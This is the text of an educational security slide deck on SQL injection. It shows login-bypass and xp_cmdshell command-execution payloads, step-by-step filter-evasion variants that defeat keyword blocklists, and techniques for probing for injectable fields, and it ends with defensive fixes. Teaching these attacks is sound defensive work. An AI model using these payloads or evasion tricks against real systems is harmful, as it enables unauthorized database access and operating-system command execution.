How Did I Steal Your DatabaseMostafa Siraj

@mostafasiraj

Agenda

Noooo, it kills suspense

DISCLAIMERHacking websites is ILLEGALThis presentation is meant for educational purposes ONLYOnly use this stuff on YOUR website and YOUR account

What is it?The application dynamically

generates an SQL query based on user input, but it does not sufficiently prevent that input from modifying the intended structure of the query.

SQL Injection

SQL Injection Example, Bypassing Logon

• Original SQL QueryString sqlQuery = "SELECT * FROM user WHERE name = '" + username +"' AND

pass='" + password + "'“…..• Setting username to Mostafa & password to ' OR '1'= '1 producesSELECT * FROM user WHERE name = 'Mostafa' AND pass='' OR '1'='1'• Attacker is logged on without Authentication

Not only your web app and DB are at risk• Depending on the DB, an attacker can access the operating system• MS SQL Server: Execute OS command xp_cmdshell• Set username to '; exec master.dbo.xp_cmdshell "dir";-- producesSELECT * FROM user WHERE name=''; exec master.dbo.xp_cmdshell "dir"; --

Note: dir list directory content

Let's play Hide and Seek

Original: SELECT * FROM user WHERE name=''; exec master.dbo.xp_cmdshell "dir"; --Defender: Disallow double quotes:

Attacker: SELECT * FROM user WHERE name=''; exec master.dbo.xp_cmdshell dir; --

Defender: Filter out string “xp_cmdshell”Attacker: ';declare @a varchar(1000);set @a = 'master.dbo.xp_' + 'cmdshell dir';exec (@a);--

Defender: Filter out “xp”, “cmd”, “shell”, ….Attacker: ';declare @a varchar(1000);set @a = reverse('rid llehsdmc_px.obd.retsam');exec (@a);--

Finding SQL Injection Bugs

Finding SQL Injection Bugs

• Submit single quotation mark and observe the result• Submit two single quotation and observe the result• Identify the database (e.g.

Oracle: ‘||’FOOMS-SQL: ‘+’FOOMySQL: ‘ ‘FOO [note the space btw the 2 quotes]

Finding SQL Injection Bugs

• For multistate processes, complete all the states before observing the results• For search fields try using the wildcard character %

Finding SQL Injection Bugs

• For numeric data, if the original value was 2 try submitting

1+1 or 3-1• If successful try using SQL-specific keywords, e.g.

67-ASCII(‘A’)• If single quotes are filtered try

51-ASCII(1) [note ASCII(1)=49]

Inject into different statement types

• You can do the same for all SQL statements (INSERT, UPDATE or DELETE)• Watch out when injecting in UPDATE or DELETE

Demo

WebGoat

Demo

HacmeBank

Demo

Using UNION Operator

Demo

MS-SQL Error

Solution• Validate the input -accept only known good-• Process SQL queries using prepared statements, parameterized queries, or stored procedures. • Enforce least privilege• Avoid detailed error messages• Show care when using stored procedures (e.g. exec)

Thank You@mostafasiraj